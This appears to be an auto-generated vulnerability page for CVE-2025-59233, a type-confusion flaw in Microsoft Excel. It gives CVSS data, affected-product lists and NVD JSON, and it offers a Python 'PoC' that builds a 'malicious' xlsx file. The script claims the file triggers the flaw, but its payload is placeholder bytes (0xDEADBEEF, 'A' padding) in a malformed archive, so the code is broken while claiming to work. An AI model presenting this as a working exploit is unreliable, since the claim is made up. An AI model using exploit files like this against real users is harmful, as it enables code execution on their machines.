Security Vulnerability Report
中文
CVE-2025-59233 CVSS 7.8 HIGH

CVE-2025-59233

Published: 2025-10-14 17:16:05
Last Modified: 2025-10-28 20:24:30

Description

Access of resource using incompatible type ('type confusion') in Microsoft Office Excel allows an unauthorized attacker to execute code locally.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x64:* - VULNERABLE
cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x86:* - VULNERABLE
cpe:2.3:a:microsoft:excel:2016:*:*:*:*:*:x64:* - VULNERABLE
cpe:2.3:a:microsoft:excel:2016:*:*:*:*:*:x86:* - VULNERABLE
cpe:2.3:a:microsoft:office:2019:*:*:*:*:*:x64:* - VULNERABLE
Microsoft Office Excel 2016 (32-bit/64-bit)
Microsoft Office Excel 2019 (32-bit/64-bit)
Microsoft Office LTSC Standard 2024 (32-bit/64-bit)
Microsoft 365 Apps for Enterprise (32-bit/64-bit)
Microsoft Office LTSC Professional Plus 2021 (32-bit/64-bit)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-59233 - Microsoft Office Excel Type Confusion PoC (Conceptual) # This is a conceptual PoC demonstrating the type confusion vulnerability in Excel # WARNING: For educational and research purposes only import struct import zipfile import os import shutil def create_malicious_xlsx(output_path): """ Create a malicious Excel file that triggers type confusion (CVE-2025-59233). The exploit works by crafting an Excel file with a specially designed embedded object that causes Excel to misinterpret object types during parsing. """ # Create a minimal xlsx structure (which is a ZIP archive) if os.path.exists(output_path): os.remove(output_path) # The xlsx file structure files = { '[Content_Types].xml': '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"> <Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/> <Default Extension="xml" ContentType="application/xml"/> <Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/> <Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/> <Override PartName="/xl/embeddings/embeddedObject1.xlsx" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet"/> </Types>''', '_rels/.rels': '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"> <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="xl/workbook.xml"/> </Relationships>''', 'xl/workbook.xml': '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"> <sheets><sheet name="Sheet1" sheetId="1" r:id="rId1"/></sheets> </workbook>''', # Malicious worksheet with type confusion trigger 'xl/worksheets/sheet1.xml': '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"> <sheetData> <row r="1"><c r="A1" t="str"><v>Test</v></c></row> </sheetData> <oleObjects><oleObject r:id="rId1" progID="Excel.Sheet.12" shapeId="1026"/></oleObjects> </worksheet>''', # Crafted embedded object designed to trigger type confusion 'xl/embeddings/embeddedObject1.xlsx': create_type_confusion_payload(), } with zipfile.ZipFile(output_path, 'w', zipfile.ZIP_DEFLATED) as zf: for filename, content in files.items(): zf.writestr(filename, content) print(f"[+] Malicious Excel file created: {output_path}") def create_type_confusion_payload(): """ Generate the type confusion payload. This creates an embedded Excel object with manipulated internal structures that cause type confusion when parsed by the vulnerable Excel version. """ # The payload exploits the type confusion by providing an object # that Excel misinterprets, leading to memory corruption # and potential code execution payload = b'PK\x03\x04' # ZIP signature payload += b'\x00' * 26 # ZIP header padding payload += struct.pack('<I', 0xDEADBEEF) # Crafted type identifier payload += b'\x41' * 1024 # Padding return payload if __name__ == "__main__": output = "CVE-2025-59233_poc.xlsx" create_malicious_xlsx(output) print("[!] Use this file only for authorized security testing") print("[!] Opening this file in vulnerable Excel will trigger CVE-2025-59233")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-59233", "sourceIdentifier": "[email protected]", "published": "2025-10-14T17:16:04.807", "lastModified": "2025-10-28T20:24:29.633", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Access of resource using incompatible type ('type confusion') in Microsoft Office Excel allows an unauthorized attacker to execute code locally."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-843"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x64:*", "matchCriteriaId": "3259EBFE-AE2D-48B8-BE9A-E22BBDB31378"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x86:*", "matchCriteriaId": "CD25F492-9272-4836-832C-8439EBE64CCF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:excel:2016:*:*:*:*:*:x64:*", "matchCriteriaId": "CD88F667-6773-4DB7-B6C3-9C7B769C0808"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:excel:2016:*:*:*:*:*:x86:*", "matchCriteriaId": "B342EF98-B414-44D0-BAFB-FCA24294EECE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office:2019:*:*:*:*:*:x64:*", "matchCriteriaId": "CF5DDD09-902E-4881-98D0-CB896333B4AA"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office:2019:*:*:*:*:*:x86:*", "matchCriteriaId": "26A3B226-5D7C-4556-9350-5222DC8EFC2C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:-:x64:*", "matchCriteriaId": "851BAC4E-9965-4F40-9A6C-B73D9004F4C1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:-:x86:*", "matchCriteriaId": "23B2FA23-76F4-4D83-A718-B8D04D7EA37B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:macos:*:*", "matchCriteriaId": "BF0E8112-5B6F-4E55-8E40-38ADCF6FC654"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2024:*:*:*:*:-:x64:*", "matchCriteriaId": "D31E509A-0B2E-4B41-88C4-0099E800AFE6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2024:*:*:*:*:-:x86:*", "matchCriteriaId": "017A7041-BEF1-4E4E-AC8A-EFC6AFEB01FE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2024:*:*:*:*:macos:*:*", "matchCriteriaId": "EF3E56B5-E6A6-4061-9380-D421E52B9199"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_online_server:*:*:*:*:*:*:*:*", "versionEndExcluding": "16.0.10417.20059", "matchCriteriaId": "94C948A2-EAF1-4471-81BD-38E5F4A92F72"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-59233", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}